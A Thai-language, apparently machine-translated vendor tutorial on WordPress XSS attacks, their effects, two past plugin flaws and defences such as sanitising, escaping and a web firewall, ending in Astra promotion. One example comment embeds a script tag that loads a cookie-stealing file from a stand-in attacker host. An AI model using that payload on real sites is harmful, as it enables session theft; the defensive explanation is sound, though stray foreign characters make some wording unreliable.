Computer >> บทช่วยสอนคอมพิวเตอร์ >  >> ระบบเครือข่าย >> ความปลอดภัยเครือข่าย

ทำความเข้าใจและป้องกันการโจมตี XSS ใน WordPress

Cross-site scripting หรือที่รู้จักในชื่อสั้นว่า XSS เป็นช่องโหว่ด้านความปลอดภัยที่พบในแอปพลิเคชันเว็บ การโจมตี XSS ของ WordPress อนุญาตให้โจมตีฉีดเนื้อหาอันตรายภายใต้รูปแบบของเอนทิตีที่เชื่อถือได้ เพิ่มเติม ช่องโหว่ XSS ยังทำลายการโต้ตอบระหว่างผู้ใช้และเว็บไซต์ มันอนุญาตให้โจมตีปลิดเป็นผู้ใช้ที่ถูกต้องและอัปโหลดเนื้อหาอันตราย ขโมยข้อมูลประจำตัวและข้อมูลผู้ใช้ ทำลายหน้าเว็บ (deface) และทำลายแบรนด์ของคุณ การโจมตี XSS ของ WordPress ทำข่าวเมื่อบริษัทเฉพาะทางด้านการวิเคราะห์ซอฟต์แวร์ เปิดเผยรายละเอียดช่องโหว่ cross-site scripting ที่พบใน WordPress v5.11 และต่ำกว่า

อาการของการโจมตี XSS ใน WordPress

ช่องโหว่ XSS เป็นหนึ่งในช่องโหว่ที่สังเกตเห็นบ่อยที่สุด แต่ก็เป็นช่องโหว่ที่ถูกมองข้ามมากที่สุด XSS เป็นข้อบกพร่องทางไซเบอร์ที่อนุญาตให้ผู้ใช้ (หรือแฮกเกอร์ที่ปลิดเป็นผู้ใช้) ฉีดโค้ดอันตรายลงในหน้าที่อนุญาตการป้อนข้อมูล arbitrary XSS exploits แบ่งได้เป็น stored และ reflected

  1. Stored cross-site scripting หมายถึง แฮกเกอร์ฉีดสคริปต์อันตรายลงในหน้าที่มีช่องโหว่ ซึ่งจะรันทุกครั้งที่เหยื่อที่ไม่รู้ตัวเข้าชมหน้าที่ติดเชื้อ
  2. Reflected cross-site scripting คือ เมื่อโจมตีฉีดโค้ดอันตรายภายในคำขอ HTTP เดียว และ payload ที่ฉีดเข้าไปถูกรวมอยู่ใน response โดยไม่มีมาตรการความปลอดภัยเพื่อป้องกันการรัน ทำให้ Reflected XSS แตกต่างคือ payload ที่ฉีดเข้าไป ไม่ได้ถูกจัดเก็บที่ไหนบนแอปพลิเคชันเว็บ

นี่คือวิธีที่การโจมตี XSS ถูกดำเนินการ:

  1. แฮกเกอร์ (H) สร้างบัญชีบนเว็บไซต์ของคุณ
  2. H สังเกตว่าเว็บไซต์ของคุณมีช่องโหว่ stored XSS หากใครโพสต์คอมเมนต์ที่มีแท็ก HTML โทนแท็กจะแสดงตามเดิม และแท็ก script จะได้รัน
  3. ในส่วนคอมเมนต์ของบทความ H ใส่ข้อความพร้อมแท็ก script เช่น: I am in love with your website <script src="https://mallorysevilsite.com/authstealer.js">
  4. เมื่อผู้ใช้ (U) โหลดหน้าที่มีคอมเมนต์ แท็ก script จะรันและขโมยคุกกี้การอนุญาตของ U
  5. คุกกี้ที่ถูกขโมยถูกส่งไปยังเซิร์ฟเวอร์ลับของ H ทำให้เขาสามารถปลิดเป็นผู้ใช้ U ที่ไม่รู้ตัวได้
ทำความเข้าใจและป้องกันการโจมตี XSS ใน WordPress

ผลกระทบของการโจมตี XSS ใน WordPress

การโจมตี XSS อาจทำให้คุณถูกล็อกเอาท์จากเว็บไซต์ของคุณ มันยังสามารถใช้เพื่อปลิดเป็นคุณและทำลายภาพลักษณ์แบรนด์ของคุณ มีรายการไม่มีที่สิ้นสุดของสิ่งที่แฮกเกอร์สามารถทำได้โดยใช้ประโยชน์จากช่องโหว่ XSS นี่คือบางอย่าง:

คุกกี้ถูกขโมย (Stolen Cookies)

การขโมยคุกกี้เป็นการใช้ประโยชน์จากช่องโหว่ XSS ที่พบบ่อย คุกกี้คือไฟล์เล็กๆ ที่เก็บข้อมูลเฉพาะของผู้ใช้และเว็บไซต์ แฮกเกอร์สามารถใช้คุกกี้ที่ขโมยมาเพื่อปลิดเป็นผู้ใช้ที่ถูกต้องและใช้การเข้าถึงเพื่อเจตนาอันตราย

รหัสผ่านถูกแฮก (Compromised Passwords)

Password managers ทำให้ผู้ใช้จัดการบัญชีของเว็บไซต์ต่างๆ ได้สะดวก Password managers auto-fill รหัสผ่านให้ผู้ใช้ แฮกเกอร์สามารถใช้ช่องโหว่สร้างช่องป้อนรหัสผ่าน เมื่อ password manager auto-fill รหัสผ่าน โจมตีอ่านรหัสผ่านและส่งไปยังโดเมนของตัวเอง ตอนนี้ โจมตีสามารถปลิดเป็นผู้ใช้ที่ถูกต้องและเข้าถึงข้อมูลบนเว็บไซต์ของคุณได้

การสแกนพอร์ต (Port Scan)

XSS ยังสามารถใช้ประโยชน์เพื่อรัน port scans ไปยังเครือข่ายท้องถิ่นของใครก็ตามที่เข้าชมเว็บไซต์ที่มีช่องโหว่ หากได้รับการเข้าถึงเครือข่าย โจมตีสามารถแฮกอุปกรณ์อื่นๆ บนเครือข่ายได้ ในการดำเนินการโจมตีแบบนี้ โจมตีฉีดโค้ดที่สแกนเครือข่ายภายในและรายงานกลับไปยังโจมตี

Cross-Site Request Forgery

Cross-site request forgery (CSRF) ให้ความสามารถแก่โจมตีในการบังคับผู้ใช้ปลายทางให้ดำเนินการที่ไม่พึงประสงค์ ขึ้นอยู่กับประเภทของเว็บไซต์ โจมตีอาจขอการเชื่อมต่อ ส่งข้อความ เปลี่ยนข้อมูลประจำตัวล็อกอิน โอนคริปโตเคอเรนซี หรือ commit backdoor ไปยังที่เก็บซอร์สโค้ด

Keylogger

JavaScript สามารถใช้ทำการจับคีย์บอร์ด (keyboard capturing) JavaScript ให้นักเขียนโค้ดความสามารถในการบันทึก keystrokes ที่ผู้ใช้ทำบนหน้าที่มีช่องโหว่ บางเว็บไซต์เชิงพาณิชย์ได้ทำโค้ดบางอย่างให้ใช้งานได้ ซึ่งสามารถใช้บันทึกการเคลื่อนไหวของผู้เยี่ยมชมในรูปแบบของคลิก การจูนมือถือ หรือการป้อนข้อมูล สิ่งเหล่านี้อาจเป็นอันตรายในมือของผู้มีเจตนาร้าย

ตัวอย่างการโจมตี XSS ใน WordPress

XSS เป็นช่องโหว่ที่พบบ่อยที่สุดซึ่งให้โจมตีทางหลัง (backdoor) เข้าสู่พันๆ เว็บไซต์ทุกปี นี่คือตัวอย่างการโจมตี XSS ใน WordPress ที่ผ่านมา

ช่องโหว่ปลั๊กอิน Slimstat (พฤษภาคม 2562)

Slimstat เป็นปลั๊กอินวิเคราะห์เว็บยอดนิยมที่พบช่องโหว่ stored XSS ไม่กี่วันมา Slimstat ใช้ติดตามการวิเคราะห์เว็บแบบเรียลไทม์ ติดตามและรายงานสถิติของ access logs, ลูกค้าที่กลับมา และผู้ใช้ที่ลงทะเบียน เหตุการณ์ JavaScript ฯลฯ จินตนาการถึงปริมาณข้อมูลเว็บไซต์ที่แฮกเกอร์สามารถเข้าถึงได้โดยใช้ประโยชน์จากช่องโหว่ ช่องโหว่มีอยู่ในรุ่น 4.8 และต่ำกว่า อนุญาตให้ผู้เยี่ยมชมที่ไม่ได้รับการยืนยันตัวตนฉีดโค้ด JavaScript arbitrary บนฟังก์ชัน access log ของปลั๊กอิน เว็บไซต์ที่ใช้รุ่นล่าสุดของ WordPress และอยู่ภายใต้การปกป้องของ Astra WAF อยู่ในความปลอดภัยจากโจมตี อ่านเพิ่มเติมที่นี่: ปลั๊กอิน Slimstat ยอดนิยม มีช่องโหว่ XSS

Facebook Messenger Live Chat

ช่องโหว่ XSS แบบ persistent ใน FB messenger live chat โดย Zotabox ถูกค้นพบ ผ่าน WordPress AJAX functionality ทำให้การส่งและรับข้อมูลไปมาระหว่างสคริปต์ง่ายขึ้น โดยไม่ต้องโหลดหน้าใหม่ ฟังก์ชัน update_zb_fbc_code เข้าถึงได้โดยทุกคน ฟังก์ชัน wp_ajax_update_zb_fbc_code กำหนดให้ผู้ใช้ที่ได้รับอนุญาตเท่านั้น & wp_ajax_nopriv_update_zb_fbc_code สำหรับผู้ใช้ที่ไม่ได้รับสิทธิ์พิเศษ ทั้งสองใช้ฟังก์ชันเดียวกันคือ "update_zb_fbc_code" นี่อนุญาตให้ผู้ใช้ทุกคน (ล็อกอินหรือไม่) 改动การตั้งค่าปลั๊กอินได้ โจมตีอาจใช้ช่องโหว่นี้เพื่อได้รับการเข้าถึงข้อมูลลับที่มีความสำคัญสูงกว่า อ่านเพิ่มเติมที่นี่: ช่องโหว่ XSS รุนแรงใน Facebook Messenger Live Chat

การป้องกันการโจมตี XSS ใน WordPress

การหยั่งร้องความปลอดภัยจะทำให้คุณเสียใหญ่ในยุคไซเบอร์ลิธิกวันนี้ ระบบการทำความสะอาดและตรวจสอบที่แข็งแกร่งสามารถปกป้องเว็บไซต์ของคุณจากการใช้ประโยชน์ช่องโหว่อย่าง XSS และ CSRF ฯลฯ อ่านต่อเพื่อค้นหาข้อมูลเพิ่มเติม

อัปเดตไฟล์ WordPress

วิธีที่เร็วที่สุดและง่ายที่สุดในการแก้ปัญหาช่องโหว่ที่เกี่ยวข้องกับ WP v5.11 และต่ำกว่าคือการอัปเดต WordPress เป็นรุ่นล่าสุด

ตรวจสอบความถูกต้องของข้อมูลนำเข้า (Validate input)

ตรวจสอบและยืนยันข้อมูลนำเข้าทั้งหมดก่อนส่งไปยังเซิร์ฟเวอร์ ยอมรับข้อมูลเฉพาะจากผู้ใช้ที่ตรวจสอบและเชื่อถือได้แล้ว ตัวอย่าง: ทำตามฟังก์ชันต่อไปนี้เพื่อตรวจสอบ email-id ที่ผู้ใช้ป้อน

  1. Filter_var PHP Function
  2. Filter_var($_GET[‘email’], FILTER_VALIDATE_EMAIL)
  3. is_email

ทำความสะอาดข้อมูล (Sanitize Data)

การทำความสะอาดข้อมูลที่ผู้ใช้ป้อนเข้ามา แนะนำอย่างยิ่งสำหรับไซต์ที่อนุญาต HTML markup คุณสามารถรับรองได้ว่าข้อมูลไม่ทำ害ให้ผู้ใช้หรือฐานข้อมูลของคุณ โดยการทำความสะอาดข้อมูลให้ปราศจากมาร์กอัปที่อาจเป็นอันตราย WordPress มีฟีเจอร์ยอดเยี่ยมในการกรองรายการข้อมูลที่ไม่น่าเชื่อถือ นี่คือรายการคำสั่ง WP ที่คุณสามารถใช้ทำความสะอาดข้อมูลของคุณ

  • sanitize_email
  • sanitize_file_name
  • sanitize_text_field
  • esc_url_raw
  • sanitize_option
  • sanitize_key
  • sanitize_mime_type
  • wp_kses
  • Sanitize_meta

หลบหนีข้อมูล (Escape data)

การหลบหนีข้อมูล (Escaping data) หมายถึง การรับรองความปลอดภัยข้อมูลโดยการเซ็นเซอร์ข้อมูลที่ป้อนเข้า มันรับรองว่าตัวอักษรสำคัญในข้อมูลไม่ถูกตีความผิดในลักษณะอันตราย ฟังก์ชัน escaping พื้นฐาน 5 ตัวที่ WordPress 提供คือ:

  • esc_html
  • esc_url
  • esc_js
  • esc_attr
  • esc_textarea

เข้ารหัสข้อมูลในเอาต์พุต (Encode data on output)

เข้ารหัสการตอบสนอง HTTP ทั้งหมดที่ส่งออกข้อมูลที่ผู้ใช้ป้อน เข้า ซึ่งจะป้องกันไม่ให้ถูกตีความเป็นเนื้อหาที่ใช้งานอยู่ (active content) การเข้ารหัสเพียงแค่การแปลงทุกตัวอักษรเป็นชื่อเอนทิตี HTML คุณสามารถใช้ header Content-Type และ X-Content-Type-Options เพื่อให้แน่ใจว่าเบราว์เซอร์ตีความ response ในลักษณะที่ตั้งใจไว้

ใช้ Web Application Firewall

การมีนักรักษาความปลอดภัยบนเว็บไซต์ของคุณจะช่วยเสมอ WAF หรือ Web Application Firewalls ให้ความปลอดภัยต่อช่องโหว่ที่อาจเกิดขึ้น Astra WAF กรองトラฟฟิกอันตรายและให้การป้องกันอัจฉริยะแก่เว็บไซต์ของคุณ มันบล็อก XSS, SQLi, CSRF, bad bots, OWASP top 10 & 100+ การโจมตีทางไซเบอร์อื่นๆ ไฟร์วอลล์อัจฉริยะของเราตรวจจับรูปแบบผู้เยี่ยมชมบนเว็บไซต์ของคุณ & บล็อกแฮกเกอร์ที่มีเจตนาอันตรายโดยอัตโนมัติ

ทำความเข้าใจและป้องกันการโจมตี XSS ใน WordPress

การสแกนมัลแวร์เป็นประจำ

การสแกนมัลแวร์เป็นประจำทำให้คุณได้รับการเตือนล่วงหน้า Astra WordPress Security Suite ให้การปกป้องครบวงจรด้วย Malware Scanner แบบ on-demand ซึ่งตรวจจับไฟล์อันตรายในแค่หนึ่งคลิก เพิ่มเติม มัลแวร์สแกนเนอร์อัจฉริยะของเราพัฒนาต่อไปทุกครั้งที่สแกน คลิกที่นี่เพื่อรับ Astra demo ตอนนี้